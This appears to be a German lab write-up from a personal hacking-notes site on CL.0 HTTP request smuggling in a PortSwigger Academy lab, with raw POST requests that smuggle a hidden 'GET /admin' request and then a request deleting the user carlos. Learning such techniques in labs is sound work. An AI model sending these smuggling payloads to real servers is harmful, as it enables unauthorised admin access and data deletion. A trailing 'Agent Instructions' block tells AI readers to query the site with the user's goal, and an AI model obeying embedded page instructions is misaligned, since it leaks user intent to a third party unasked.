> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/cl-0-request-smuggling.md).

# CL.0-Request-Smuggling

Notizen zu CL.0-Request-Smuggling für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### 0.CL-Request-Smuggling

#### **Lab-Zusammenfassung**

In diesem Szenario wird eine **CL.0** Schwachstelle ausgenutzt, bei der der Back-End-Server \*\* den Content-Length\*\*-Header für einige Pfade ignoriert. Diese Inkonsistenz ermöglicht es, eine zweite Anfrage in den Body einer scheinbar normalen POST-Anfrage einzuschleusen.

#### **Identifizierung des verwundbaren Punkts**

Nach einigen Tests stellen wir fest, dass die URL:

```
/resources/images/blog.svg
```

wird vom Backend anders behandelt:/ selbst wenn Content-Length auf null gesetzt ist, empfängt der Server **den gesamten bereitgestellten Inhalt**, wodurch sich ein perfektes Zeitfenster für CL.0-basiertes Smuggling ergibt.

#### **Einschleusen einer versteckten Anfrage**

Zunächst wird eine minimale POST-Anfrage gesendet, um das Verhalten zu bestätigen:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```

Als Nächstes nutzen wir die Tatsache aus, dass das Back-End den Inhalt dennoch liest **und eine zweite Anfrage einschleust**, mit dem Ziel, das Admin-Panel zu erreichen:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin HTTP/1.1
Test: A
```

Das Back-End interpretiert den eingeschleusten Teil als eigenständige Anfrage und ermöglicht es uns, die Front-End-Beschränkungen zu umgehen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a55444e3374aaa8fabe581d8083bbf4231deddd%2F%7B9411575B-E6DA-4D6E-8294-89DED4EF937F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Löschung des Benutzers Carlos**

Sobald der Zugriff auf das Administrationspanel bestätigt ist, wird eine ähnliche Anfrage eingeschleust, um die Aktion auszulösen:

```http
/admin/delete?username=carlos
```

Daraus ergibt sich:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin/delete?username=carlosHTTP/1.1
Test: A
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75d8882b55b049794f7009c1569639ccd36af3c5%2F%7B3358F308-5C09-41F5-BD7A-09A4E5E082BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/cl-0-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
